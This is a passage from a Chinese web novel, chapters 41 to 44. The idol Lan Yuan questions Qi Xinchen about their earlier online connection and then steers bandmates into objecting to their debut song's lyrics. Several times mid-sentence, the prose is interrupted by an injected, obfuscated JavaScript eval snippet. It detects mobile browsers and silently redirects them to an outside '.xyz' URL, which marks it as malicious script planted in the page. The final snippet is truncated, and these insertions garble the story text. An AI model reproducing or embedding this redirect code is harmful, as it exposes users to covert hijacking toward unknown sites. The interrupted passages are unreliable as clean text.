但如今回想起来——蓝鸢根本没注意过当时祁心忱有什么表情或反应。听见独属于自己的特别称呼被分享给全世界,对方会是不愉快还是反而会开心呢……蓝鸢不知道答案,但也不打算问。 当然,不问不是不想知道,只是为了避免被反问“为什么要用小圆这个名字”。 ——问什么是“小圆”,这道题的标准答案是“因为这是一个对我来说很有意义的名字”,只是即使这份“意义”自始至终并不含有任何杂质,如今的蓝鸢来说这句话依然会有片刻的心虚和难以开口。 “那就是还在生气。”祁心忱见他说完反问便不再出声,于是自顾自地下了定义,“那作为补偿,我可以随便答应你一个要求,什么都可以。” “这是什么口气,”蓝鸢笑了一声,然后说,“你又不是什么都给得起。” 而且……这个话术未免有点太熟悉了。 “那你说一个我给得起的呀。”祁心忱说,不知道该说意料之中还是意料之外地,并没有嘴硬说什么“确实都给得起”。 “你上回说的那个还没兑现呢。”蓝鸢于是说。 祁心忱闻言张了张嘴,像是想说“难道不是因为你还没说”,但最终并没有说这句话,只说:“那现在是两个了。” 蓝鸢沉默,蓝鸢思考。 这种所谓的约定越拖下去越会舍不得用……他深知这个道理。与其让它们最后变成某种谈资和符号,不如现在用掉。 毕竟真要让蓝鸢说什么“我导师合作舞台来你的组你必须把C ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437689|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位分给我”这种话,他也说不出口;将现在这个没有时限的要求用在未来某个时刻,让祁心忱答应和自己谈恋爱,更是蓝鸢不可能做的事——祁心忱这种承诺还挺聪明的,聪明就聪明在知道蓝鸢不会提出什么破坏底线的要求。 但蓝鸢会因为隐瞒生气,而只会觉得这种小算计很有意思,祁心忱这个人也很有意思……虽然在他们第一次真正意义上“见面”的那天,他尚且没有这么想。 而如今的蓝鸢只觉得,毕竟这是“阳谋”,他不喜欢的只是信息差。 “我准备今天将这两个愿望都用了,”蓝鸢于是开口,看着祁心忱说,“第一个是,之前你分我的那个小饼干,在决赛夜之前再给我带三次。” “嗯,可以,”祁心忱似乎有点疑惑地眨了眨眼,像是在确认般,最后问,“三次是什么讲究吗?” “没有什么讲究,”蓝鸢实话说,“我随口说的,改成四次也可以。” “哦……我有机会做的话可以多给你带几次,”祁心忱于是回答道,“那另一个呢?” “另一个是,”蓝鸢抬起头,直直地看着祁心忱,停顿了片刻,才说,“从现在开始,到我们过会离开天台前,请如实回答我的所有问题。” “嗯,对我进行一些正义拷问,”祁心忱突然就笑了一声,然后偏了偏头,“为什么不将时限延长一些呢?” “因为没有那么多要问的。”蓝鸢抬了抬眼说,“就几个问题。” “不过,”祁心忱眨了眨眼,又说,“其实我从来没对你说过假话……可以不用将这个要求浪费在这种事情上。” “确实不说假话,”蓝鸢直直地看着他,重新控诉了一遍,“但你也什么都不说。” “那不是你……”祁心忱像是打算说“没有问”,但话说到一半又停了下来,又低头笑了笑说,“算了,你还是开始拷问吧。” “好,第一个问题,”一通有来有回的确认后,蓝鸢最终是非常满意地点了点头,然后开口道,“你是什么时候知道我是迟筝的?” 41. 真心局1.0 “2022年11月。”祁心忱好像并不意外这个问题——或者说至少没有表现出意外,他只是偏了偏头,像在回忆或者确认,过了几秒钟才开口。 而他一开口,陷入思考的就变成了蓝鸢。 蓝鸢开始回忆2022年11月大概是什么时候、又发生了什么……舒越明问他账号应该是发生在高一上期末考前不久,大概率是12月下旬。 他如此推断着,然后“哦”了一声,用这个没有后文的单音节表示自己已经接收到了信息,并以此暗示祁心忱继续展开陈述——当然,祁心忱就算不说他也会追问,但蓝鸢并不是很想一直追问。 而且实话说,他也不说不清这算是自己意料之中、还是意料之外的结果,所以不知道应该作何追问。 好在祁心忱保持着非常良好的“被拷问”态度,并没有真的要蓝鸢再问一句才舍得开口。 “我当时已经通过了面试,决定去参加选秀了,所以回家准备一些材料。”大概是接收了暗示,祁心忱没怎么犹豫地继续说道,“刚好听说学校在办校歌赛,所以顺便去看了看。” “然后又刚好……遇上我那一场?”祁心忱停顿了片刻,于是蓝鸢眨了眨眼,接上了他的话。 “也不算刚好,因为我实际上看了全程。”祁心忱点了点头,然后又像是自我推翻般摇了摇头说,“所以也算是看了你那一场。” “我当时……”蓝鸢不由自主开口,只是话刚说出口又顿住了——或主动或被动,总之他从初二开始就年年参加校歌赛,实际上,那几年的记忆早就混杂在一起了,他自己都分不清哪一段归属于哪一年的哪一场。 “我看的是决赛场,你当时唱的是Flower的天光。”不过祁心忱只看了他一场,所以反而记得,而且还用一种“你自己的经历怎么自己都没印象”的语气说,“然后拿了第一。” 蓝鸢眨了眨眼,这才说:“我想起来了。” 祁心忱如此一说,他也确实记起了是哪一场……接着顺便就猜到了对方的下一句话。 毕竟这首歌蓝鸢还挺喜欢的,在迟筝那个账号上也翻唱过。这歌知名度大,但并不是很好唱,不少人在不同歌唱竞演节目都翻唱过,但几乎所有人得到的评价都是“远不如池曜晗”。 ——池曜晗是原唱Flower男团的主唱,在这歌里包揽了最难的几个part。他曾经是公认的内娱男团第一vocal担……虽说内娱也没有多少男团。 这个“曾经”的范围是从他出道第二年开始,到两年前自杀身亡为止,而在此之后,很默契地,再没有任何一家vocal担粉丝会选择争这个title。 毕竟怎么争都不够名正言顺。 不过抛开这些背景故事,重要的是,蓝鸢的那版翻唱当初在互联网上人气很高,给他涨了不少粉丝。 虽然有不少评论说“都是靠后期修音”或者嘲讽“网络唱见有点优点就能被大夸特夸”,但不可否认的是,他那版得到了很多好评,说迟筝唱出了和原唱不同的新感觉,褒义的那种。 总之,他的翻唱热度很高,祁心忱听过那就不奇怪了……而这人自己就是vocal担,虽说是非科班出身,但蓝鸢已经发现,祁心忱比绝大多数vocal担都对音色敏感,靠着同一首歌的演绎认出自己也很合理。 实际上校歌赛后也有一个同学问过他这件事,只是被蓝鸢用很茫然的语气混过去了而已。 不过祁心忱的下一句话,和蓝鸢的预期还是有点差别的。 “我从你第一个投稿就开始关注了,所以能认出来其实……很正常?”祁心忱如此说着,偏了偏头问,“没听出来才很奇怪吧。” 很正常,蓝鸢想,但是什么叫第一个投稿就开始关注了啊? 他迟疑地看着祁心忱,等待着这人的下一句话,只是祁心忱也用类似的神情看着他,于是两人对望着沉默了片刻,对方才突然笑了一声:“为什么要这么看我?一定要我接着说一句我是迟筝粉丝你才满意呀?那我也可以说。” 祁心忱的语气像是在调侃,但蓝鸢莫名慌神了片刻,出于某种奇妙的心思不敢点头也不敢摇头,当然更没有问这话是开玩笑还是当真……他只是说了句“那也不需要”,就试图匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437690|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆错开话题。 “总之我明白了——下一个问题,”蓝鸢定了定神,然后按照他预先想好的顺序切换了新问题,“你当初给我写第一封信的时候,写了一个被划掉的‘如果以后’……你还记得当时想说什么吗?” 这话一出,祁心忱神色明显愣了愣。 实际上蓝鸢也并没有真的期望对方能回答出来——他自己能记得被划掉的字,也只是碰巧记得,毕竟人类总是会以莫名其妙的方式记得一些细枝末节的东西,而祁心忱大概率已经没有任何印象了。 他问这个问题,目的只是想借此引出一些别的……不过没想到,祁心忱并没有接着说“不记得”,反而像是陷入了某种与回忆无关的思考。 “……如果以后有机会的话,”最后,祁心忱轻轻叹了一口气,然后说,“想和你成为朋友。” 蓝鸢眨了眨眼。这句回复在脑子里转了一圈,他又琢磨了片刻,依旧没有等来下文,接着才意识到,作为回答的……其实也只有这句话而已。 这句很合情合理,但无法说服蓝鸢的话。 “为什么呢?”蓝鸢于是问。 “不是说过了吗,”没想到祁心忱居然说,“我是迟筝的粉丝呀,我当时在我们大学校歌赛都唱你的原创曲呢——所以想私联是很正常的吧。” 不是,且不论怎么又“粉丝”上了,而且想私联哪里正常了。蓝鸢想。 “但这是什么当时不能说的话吗?”只不过他问出口的却是另一个问题,带着真实的疑惑。 “不然呢,”祁心忱歪了歪头,出乎意料地,连带着把蓝鸢还没说出口的下一个问题一起回答了,“我当时刚出道诶——如果那会认识你,你肯定会去搜我们Dreams的歌,结果发现我们的歌那么烂,对我印象不好怎么办?” ……只是这个回答怎么听怎么像是玩笑话。 “你答应过要说实话的,”蓝鸢于是说,然后又想着这句话大概也不算假话,于是改口成了另一句发言,“下一个问题——我需要刚才那个问题的完整答案。” 他在“完整”两个字上加了重音。 42. 真心局2.0 祁心忱偏了偏头:“你好像不太相信我的答案。” “……也没有不相信,”蓝鸢顿了顿说,“就是我感觉有点莫名其妙。” 祁心忱于是低头笑了一声。而蓝鸢则盯着他,用眼神提问“你又在笑什么”。 “莫名其妙感觉并没有比不相信好太多呢。”祁心忱歪了歪脑袋,如此说道,接着又反问,“那你觉得我应该用什么身份认识你呢?” “……你还没有回答我的问题。”蓝鸢刚准备开口,突然反应过来,熟练且顺口地控诉,“不要反客为主。” 只不过祁心忱又笑了一声:“这就是答案呀——你觉得,班主任的儿子、你屏幕背后的听众之一、知名做票团的新人偶像,这三个身份哪一个适合用来以线上为起点认识新朋友呢?” 蓝鸢顿了顿。 平心而论,听到对方的回复,他的第一反应是想……这完全是一个无关痛痒的问题。蓝鸢甚至没有第一时间真的理解祁心忱在想什么,但他如此注视着祁心忱说这句话时候的眼神,又仿佛从中看出来了一点点情绪化。 很奇妙、很少见的情绪化。 于是蓝鸢也没有直说“我觉得哪一个都没有区别、因为每一个都是你的组成部分,而真正有意义的是完整的你”——实际上,这个念头出来的一瞬间,他觉得自己好像又突然理解了一些,即使他无法确认自己的理解和祁心忱的理解如出一辙。 但至少,当初就算真的加了好友又怎样呢?隔着网线、过着新晋偶像和高中生这样截然不同的生活、有彻彻底底不是一个世界的人生轨迹,他们又有什么话可说呢。蓝鸢想。 “……我明白了。”总之,他最终眨了眨眼,并接受了这个答案。 ——虽然让人觉得很微妙、而且像是在给对方之前所有隐瞒行为找借口,但可能祁心忱确实是对的,如今才是他们最合适的、真正意义上认识彼此的机会。 毕竟选秀节目里的导师和练习生也不是真师生,大家本质上都是拿了通告费来录综艺的——至于什么前后辈,其实就是说说,调侃意味大于实际含义,内娱本质上不是论年功序列的地方。蓝鸢想。 以这样的相识作为起点,展开一段新的关系,多少会比“活在手机里的、职业是糊逼明星的班主任的儿子”好不少。 不过……展开一段新的关系? 蓝鸢又眨眨眼,刚刚消失的迷惑重新回归了一点——他又想,上述所有内容都很有道理,但都是基于祁心忱之前的那句“想和你成为朋友”,但这句话的契机呢? “所以我想,反正以后还会以别的身份见面,”不过蓝鸢还没有开口将自己产生的新思绪说出口,祁心忱反倒先开口接上了之前的话,“不如到时候再认识你好了——而且感觉写信挺好玩的。” 是挺好玩的,蓝鸢在心中默默承认了这一观点。 只是祁心忱的重心显然并不在此。 但即使对方明晃晃地把目的摆在眼前、等着蓝鸢提问,蓝鸢还是会顺着话题往下说:“什么叫‘以后还会以别的身份见面’——你是想让我问这个吗?” “因为我觉得你早晚也会走上这条路的。”祁心忱没有说是,也没有说不是,而是直接做出了回答,连带着没说出口的默认——这句话说得很笃定,笃定到蓝鸢都开始自我怀疑自己的记忆是不是出现了一些错位。 毕竟他回忆了一下……他第一次正经和舒越明谈想学艺术这件事,其实已经是高二的秋天了。在此之前,他没有和任何人说过自己的打算。 更不用说进娱乐圈这种事。 不过祁心忱说的“这条路”大概也不止是指“做偶像”。准确说来,或许是指的以唱歌写歌为生的道路? “蓝鸢同学,”祁心忱见他没有回话,垂了垂眼继续说,“我不觉得你是会放着自己的天赋被埋没的那类人……只是可能在别的if线上,不是这种形式和契机而已。” “为什么要用一种,”这回笑的变成了蓝鸢本人,他偏了偏头,笑得很轻松,心情也莫名其妙随之突然轻松了起来……即使蓝鸢自己都摸不清这份轻松的本质来源,“像是那时候就很了解我的语气说话呢。” “我听过你的歌呀,”祁心忱顿了顿,然后也跟着笑了起来,“写歌的人当然会从歌里认识别的创作者——就算这件事很片面,但片面的信息也是信息。” 蓝鸢于是很缓慢地眨了眨眼……并觉得这种说辞非常耳熟,耳熟到仿佛他在前不久,也用类似的方式审视过祁心忱这个人本身一样。 或许自己确实如此审视过。他想。 于是之前准备开口的那句“为什么会想和我做朋友”就变得没什么需要问的意义了——蓝鸢觉得自己已经找到了答案,至于别的问题,因为这会气氛还不错,所以他也不是很想问了。 “我问完了。”因此他说,“想问的我都问过了。” “真的吗?”只是这回反问的变成了祁心忱,这人抬起手戳了戳蓝鸢的额头,又说,“我觉得你在欲言又止。” “假的,”蓝鸢又被看破了,于是干脆承认道,“之前有个和以上所有问题都无关的问题想问——你有觉得过我很可怜吗?” 这话一出,祁心忱就愣住了……蓝鸢一直盯着他的表情变化,所以很明显能看出来那一瞬间的神色异常。 很好,这个问题让祁心忱毫无准备、猝不及防了——为此,蓝鸢感到了小小的得意。 “这个问题的标准答案是‘没有’吧?”祁心忱看着他,很让人意外地沉默了片刻,才说。 “是的,”蓝鸢眨了眨眼,低头笑了起来,“那你要回答一个错误的答案吗,哥哥?” 祁心忱又顿了顿——不知道是在思考,还是在为了蓝鸢突然改变的称呼而意外……因为他接下来的一句话并没有回答这个,反而是说:“刚好想说,既然我们都摊牌了,以后能不能别喊‘祁老师’了,我听着很心虚,毕竟我认识的另一个被这么喊的是我妈。” 蓝鸢实在忍不住笑了出声。 “但其他人也会这么喊呢。”他又说,然后紧急刹车,把差点紧随其后脱口而出的,“还是说你想要一个不一样的称呼”这句话闷在了心中。 “能劝一个是一个。”祁心忱欲言又止,最后干脆是叹了口气。 蓝鸢试图从这句话中读出来一点额外的意味,但确确实实没有,于是他觉得自己大概多少有点自作多情在——毕竟祁心忱都用“交朋友”这种界限感分明的词了,那或许是一种“警告性提示”也说不准呢。 “你还没回答呢。”所以蓝鸢又说,借此将这些小小的思绪驱赶出大脑。 “……对,我要回答一个错误的答案,我确实有过,”祁心忱又顿了几秒,最后深吸了一口气,然后说,“你会因此不高兴吗?” “这是你的真心局环节,”蓝鸢说,然后又一度笑了起来,“所以我拒绝回答这个问题。” 如果这个答案出现在今天这段聊天的开始……蓝鸢大概确实会因此更不高兴。但放在结尾,他已经没有什么额外的情绪了,而或许这就是潜意识里自己将这个问题放在最后的原因,他如此想着。 但我现在确实很喜欢你了。蓝鸢一边笑,一边看着祁心忱的目光又想。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437691|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如果没有现在这两个月的交集,那祁心忱确实只会像他曾经对这人的定位一般,作为他人生中一个擦肩而过的“过客”。 即使曾经激励过他,即使给他留下过将要伴随偶像蓝鸢一生的、“小圆”这个名字,那也只是一段美好的遇见,仅此而已。 只是站在如今的立场上,一开始生气的劲头过去后,脑子里那个模糊的形象和祁心忱本人一对上,那些短暂的、停留于文字和音符的交集却又被渲染地深刻了起来。 那些在今晚之前、存在于两人之间的名为“防备心”的透明墙被降下后,这段关系又好像确实微妙地变得不一样了……至少从蓝鸢的视角来说如此。对方不再是一个被迷雾裹着的、比陌生人熟悉一点的“好感对象”,更像是一个许久未见的老朋友,即使曾经的他们并不算什么朋友。 此时此刻来说,这种喜欢当然说不上多深刻,毕竟他们实质上只认识了两个月……但不深刻也的确存在,而且是以一种很错误的状态存在着,存在于谈恋爱就算失格的“新生偶像”蓝鸢、和态度不明的祁心忱之间。 毕竟,叠加上这些丝丝缕缕的关联后,蓝鸢也彻底说不准祁心忱对他的态度了。说不准,但也彻底打消了试探的心——舒越明是一层原因,不希望破坏他们之间的关系是另一层。 朋友也好、照顾小朋友也好、欣赏也好、感兴趣也好,或者有一些真的喜欢他的可能也好……蓝鸢想,又把最后一种驱逐出了自己的大脑。 但总之,从另一个方面来说,从他们摊牌这一刻开始,至少自己有了另一些可以更名正言顺接触祁心忱的立场了,又不失为一种好事。 蓝鸢的脑子里混乱地闪过各种念头,又在祁心忱很无奈的笑声中提议,说现在很晚了应该下楼睡觉了。 “那好,”祁心忱看了看手表,又点点头,“明天……今早见。” “今早见。”他们一起下楼,祁心忱进入他的楼层之前,蓝鸢才像是突然想起般回答道。 * “他要在学校空宿舍住几天,”祁心忱回答那个“舒老师为什么高考那几天不在家”的问题的声音,将蓝鸢已经飘回赛时的思绪拉了回来,“陪班上的住校生,就你之前的同学。” “……哦。”蓝鸢点了点头,想起来学校确实是有这个高三班主任陪学生的传统,又问,“那祁老师呢——我是说你妈妈,怎么也不在呀。” “能不能不要打那个补丁,”祁心忱语气充满着无奈和一点点……大概是难以言喻的羞耻感,接着顿了顿,才回答,“她去外省参加学术会议去了。” 蓝鸢于是再度点点头,接着又莫名其妙地笑了起来。 祁心忱坐在一边,偏着头看着他笑,居然没有问“你笑什么”,只是很安静地看着。 “对了,我又想起来一件事,”于是蓝鸢很“完整”地笑完,才继续开口道,“我们今天下午开会,给我们放了一点第一张ep新歌的demo,感觉歌词写得实在有点不知所云,估计发出去又要被嘲了。” ——这话一说出来,蓝鸢就开始思考自己为什么要说这句话。按理来说,祁心忱给他送了饼干、又说了最重要的高考安排,还明示让他早点回去复习和睡觉,那今天的见面就可以到此为止了。 但或许是刚刚想到祁心忱之前说Dreams的歌不怎么样,又或许是不想直接结束见面,总之蓝鸢试图找了个话题再多说几句……虽然他觉得这个话题不怎么样。 只是祁心忱的回答,和他想的还不太一样。 “那你得问他们能不能让你改呀。”他说,语气很理所当然。 43. 歌词 这段对话发生的后一天下午,结束拍定妆照的行程后,Butterfly全员又被接到了公司。 今天和前一天类似,第二个日程依旧是开会,只是开会的形式和内容发生了一些变化,这回变成了“EP1作战会议”。 当然,“EP1作战会议”只是蓝鸢发微博时,面对粉丝的说法——Butterfly正处于刚出道、粉丝热情最盛、但成员很难每天“抛头露面”的阶段,因此他们会时不时在微博透露一点可公开行程,尤其是“排练”这种发生在公司内部、不会被粉丝抓到的行程。 但虽然叫是这么叫了,实际上所有人都清楚,这场会议只不过是前一天画饼大会的子会议,因此又可以叫“EP1被安排会议”。 ——本来应该是这样的。 昨天的会上,公司的领导已经给他们放了新歌的片段。 领导们或许没有那么懂音乐、又或许只是练就了波澜不惊的本事,蓝鸢不太清楚,但他清楚地看到,音乐声在会议室响起的时候,好几个人的脸色都很微妙。 比如在偶像事业上说得上是有一定追求的沈艾初和任淮,比如本来就是需要写歌词的rap担的宁郁寒和竺明若,又比如高考语文有139这种惊天高分的简旋安。 事实上,只有叶游人如其名般神游天外,发呆的根源可能是不在意、也可能只是有点困。 虽说蓝鸢也不确定这种如出一辙的“微妙”是否是自己想多了……也可能是因为自己内心觉得微妙,所以看什么都很微妙,毕竟当时的demo没有很长,或许别人只是为“还没听明白就结束了”感到茫然而已。 于是在第二天去公司的路上,蓝鸢装模作样地试探了一番。 这天和他坐一辆车的是沈艾初、任淮和宁郁寒——这是个很刻意的组合。 上午下班的时候,又有一些站姐在拍下班视频。他们拍定妆照是分批次的,前三名结束地早一点,于是坐在一边各怀心思地聊天,最后自然也顺便就一起上了同一辆车。 他们这几天都是七个人分两辆车,只要一边三人组一边四人组,具体怎么分都很随意……蓝鸢本来是这么想的。 只是刚上车,他就听见外面传来的一声“小艾”,接着任淮不知道从什么地方窜出来,也窜上了他们的车,并坐在了沈艾初旁边的位置。 蓝鸢很自然而然地回过头,碰巧目光捕捉到沈艾初神色中一闪而逝的欣喜——他又垂了垂眼,心想沈艾初刚刚大概确实没注意到,任淮上车之前正在和随队的工作人员说话。 或者更准确地说,是听工作人员说话,并在听完后转身走向了他们的方向。 不过蓝鸢没有就此开口,他只安安静静地看着窗外,又透过车窗玻璃,看到了身旁的宁郁寒注视着自己的目光,同窗外的景象叠加起来。 但他并没有对宁郁寒说话,身后的两人也没有说话,车内一时很安静,于是蓝鸢开始轻声唱歌。 接着,意料之中地,同样透过玻璃,蓝鸢看见宁郁寒轻轻皱了皱眉头。 “好耳熟的歌。”过了几秒,宁郁寒开口说,“小圆你在唱什么呀?” ……蓝鸢差点笑出了声。 他想起前一天晚上,他给祁心忱说新歌demo的歌词很诡异时、祁心忱的那句回话。蓝鸢当时说,但是我在这里没有什么话语权,我担心我说不管用、可能反而会让公司觉得我不好控制、事情很多,而且也不太确定其他人的态度。 “你想个办法提前试探或者诱导一下其他人,说不一定要亲自说呀,让别人开口当然是最好的。”祁心忱如此说,“比如假装不经意地唱两句,观察一下他们什么反应——你还记得旋律和具体的词吗?” “记得。”蓝鸢说,顿了顿,又小声补了一句,“我听一遍就能记住了。” “那就好,”祁心忱笑了笑,也停顿了几秒,才又问,“所以到底是什么歌词呀?居然会让你这么说。” 当时的蓝鸢欲言又止、止言又欲。他觉得说“我不想说”显得太小孩子气了,但是真要说的话,他又说不出口。 他们这首主打歌的基调是再俗不过、但永远不会出错的恋爱风味,但显然写词的人看起来既不懂恋爱、也不懂写词。 但也不一定,蓝鸢又想,这首歌的曲调其实还不错,按理来说不应该配这种词,有可能确实找了个有名字的作词人,而对方发挥抽风了。 他自己做唱见期间也接触过一些别的网络作词人,知道这种事还挺常见的。 于是蓝鸢想了想,打开手机备忘录,将那段尽情发挥莫名其妙的、对于风花雪月和青春疼痛的无尽热爱的歌词打了上去,然后将屏幕展示给祁心忱看。 于是欲言又止地变成了另一个人。 “……我不做评价。”前一天晚上的祁心忱想了想还是说,“我邻居家的猫都写不出来这种词。” 至于当下,让蓝鸢有点意外的是,还没等他开口,先说话的反而是后座的任淮。 “昨天才听过一遍的demo,我们的新主打歌的副歌,”任淮说,语气有点意味不明,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437692|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小郁你已经不记得了吗?” “哦!”宁郁寒停顿了一秒、又或者是两秒,突然发出恍然大悟的声音,“我想起来了。” “是的呢,”蓝鸢于是笑了起来,尽量用很闲聊的、不带额外情感色彩的语气说,“刚刚在想过会要讨论分part和MV的事,所以不由自主地就哼了起来。” “小圆你记性真好。”宁郁寒眨了眨眼,又看着他说,“虽然再评级那会就意识到这点了,但看见你听一遍就记得还是觉得好厉害呀。” 因为人总是很难忘记怪东西,蓝鸢心想,又思考了一下宁郁寒这种记忆力是否真的有能力考政史地。 “毕竟这是我们的第一首歌嘛,”只是在表面上,他只如此说,“要写上大家所有人名字的、Butterfly的第一首歌,也是未来蓝鸢名字下的第一首歌,意义很重大,所以我会记得更清楚一点。” ——蓝鸢觉得自己这句话说得有点刻意……但至少也是事实,刻意就刻意吧,他想。 实际上他有很多跟着“迟筝”这个名字的歌,反倒是对在座剩下三个人来说,这算是真正的第一首歌——赛时三公那种连录音室版本都没有的原创曲,大家都不怎么当回事。 说这话无非就是传递一下“这首歌很重要请大家慎重对待”的意思。在座的三个人里,沈艾初和任淮来自于运营出道组的公司,宁郁寒原生公司很不错,看起来也比他有话语权——暗示到此,就看有没有人愿意做提意见的人了。 “是你的问题。”结果蓝鸢话音刚落,不知道吃错什么药的任淮又开始打岔了,这话是对着宁郁寒说的,“我也记得、小艾应该也记得吧?昨天放的时候你肯定没有认真听。” 他的语气像是开玩笑,但大概并不是在开玩笑——只是不知道是想嘲宁郁寒还是想嘲自己,蓝鸢想。 只不过,被cue到的沈艾初却没有顺着他的话说,反而是有点犹豫,最后来了句“其实我昨天就没太听清歌词”。 如果这话是宁郁寒说的,那可能是真没听清歌词;但话出自虽然软弱且恋哥癖、但实际上拥有正常大脑的沈艾初,那这句话的重点当然就只有“歌词”两个字。 蓝鸢于是笑了一声。 祁心忱说“诱导”,但蓝鸢确实没那个诱导的本事。他只能做到在一个人少一点、也没有领导的环境下、用不出错的、暗示性的话将话题引导至此。 但好在……虽然任淮一直在岔开话题,但沈艾初居然接下了这件事。 感谢小艾。蓝鸢默默心想。 44. 练习日 在那之后,蓝鸢很顺理成章地接话“我记得,我再给你唱一遍”,接着没等沈艾初做出回答,就又将那六句歌词重复了一遍。 在此过程中,沈艾初看起来心平气和,像是真的很认真地在听,宁郁寒倒是又皱了皱眉头。 “小郁哥哥,你是不是觉得我唱得有什么问题,”蓝鸢有点想笑,但还是努力忍住了笑意,只是用很疑惑的语气说,“如果有的话可以直接说,我这里欢迎一切意见。” “小圆你不要管他。”结果宁郁寒还没说话,先开口的又是任淮,还是用那种玩笑的口吻说奇怪的话,“这个人表情管理一向有问题的。” “我不是——”宁郁寒出声想辩解,但说完这三个字抬头看了看任淮,露出了欲言又止的表情,最后吞吞吐吐地卡壳了半天,终究是在蓝鸢单纯无辜的注视下来了一句“我只是觉得这个词和我们不是很搭”。 这倒是蓝鸢想听的话。不过他还是眨了眨眼,并觉得有些迷惑——今天队里的氛围有点奇怪,像是任淮和宁郁寒之间发生了什么一样,但蓝鸢百思不得其解,无论如何也想不到能背着他们发生什么。 任淮和宁郁寒这两个人……说不熟倒也不是,但说熟又没有很熟,至少站在蓝鸢的视角看来是这样的。 不过真要说的话,他们还是比随便两个练习生要熟一些的。一方面是上位圈天然会更关注上位圈,另一方面是,在那些休息日里,蓝鸢经常一个人独自练习,确实时不时会在食堂遇到一起吃饭的任淮和宁郁寒。 ——当然,这两人也并非固定搭配,而是各自有别的饭搭子。至少宁郁寒和蓝鸢一起吃饭的场合其实更多一些。 但总之,遇上过几次后,蓝鸢出于好奇和采集信息的目的,用玩笑话的形式向宁郁寒打听过,而宁郁寒偏了偏头,像是进行了片刻的思考。 “你可以当他只是我的一个不重要的酒肉朋友。”思考结束,最后宁郁寒如此说。 “我怎么感觉你在乱用词呢。”蓝鸢说。 宁郁寒于是笑了起来:“我的语文水平就只有这样嘛……你明白他只是一个不重要的人就行了,这里的所有人里只有你对我来说最重要。” 当时的蓝鸢“哦”了一声,没有再对此做出任何响应,只心想难不成写rap词确实不需要什么文化吗,又想宁郁寒不会是把他对那堆男男女女的嫂子的话术顺便搬到自己身上了吧。 而祁心忱当晚听了蓝鸢的转述,倒是偏了偏头,像是有些疑惑地反问道:“大部分rap担不就是没什么文化只会胡言乱语吗?” “你为什么对rap担有这么大敌意啊?”蓝鸢听到这句反问就低下头笑了出声,笑过之后,才又抬起头问。 “我就没有遇到过正常的rap担。”祁心忱顿了顿,才以一种微妙的语气说。 至于当下,出于对这两人今天奇怪互动的好奇,蓝鸢决定以一种模模糊糊的语气主动平铺直叙般“提问”:“怎么感觉大家心情不是很好的样子。” “可能是有人不想工作吧,”任淮居然还在超快速响应,且欲盖弥彰地睁眼说瞎话,“不过我没有心情不好。” 而另一侧的余光里,宁郁寒抬起头,同蓝鸢对视了一秒,且眼神微妙、像是想暗示什么……蓝鸢不知道他想要暗示什么,但心想大概是有“回头说”的意思。 “那就好。”不过蓝鸢也没有给宁郁寒什么回应,他只是弯了弯眼睛,像是什么都没有意识到一样笑了起来,“毕竟现在要去准备我们的第一份作品,这里没有人会不喜欢这个工作的——对吧?” * 总之,不知道是自己在车上那一番“暗示”起到了作用,还是沈艾初本来就如此想过,至少大家正经坐在一起开会的时候,这人还是说出了那句“我们想要微调一下歌词的部分”。 只是这种话总得要有理有据,而沈艾初起码还是上道的,先是说既然是Butterfly的主打歌,可以将成员们的一些小特征之类的加进歌词里、同时让歌词更贴合这个团的特征,还能顺便让所有人的名字出现在作曲一栏,给外界营造出一种“创作男团”的感觉。 ……或者说是错觉。 不过无论如何,这个提案至少是被通过了。按照计划,他们会在过后几天和原词作一起商讨一下,至于届时商讨出来什么结果……蓝鸢已经不太担心了。 虽然这个团里什么怪人都有,但起码大多数人对于音乐作品的审美是正常的、或者起码是符合蓝鸢的想法的。 而除此之外,他们接下来几天的工作并不算种类繁多。 除了有一个拍摄任务外,往后几天B ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 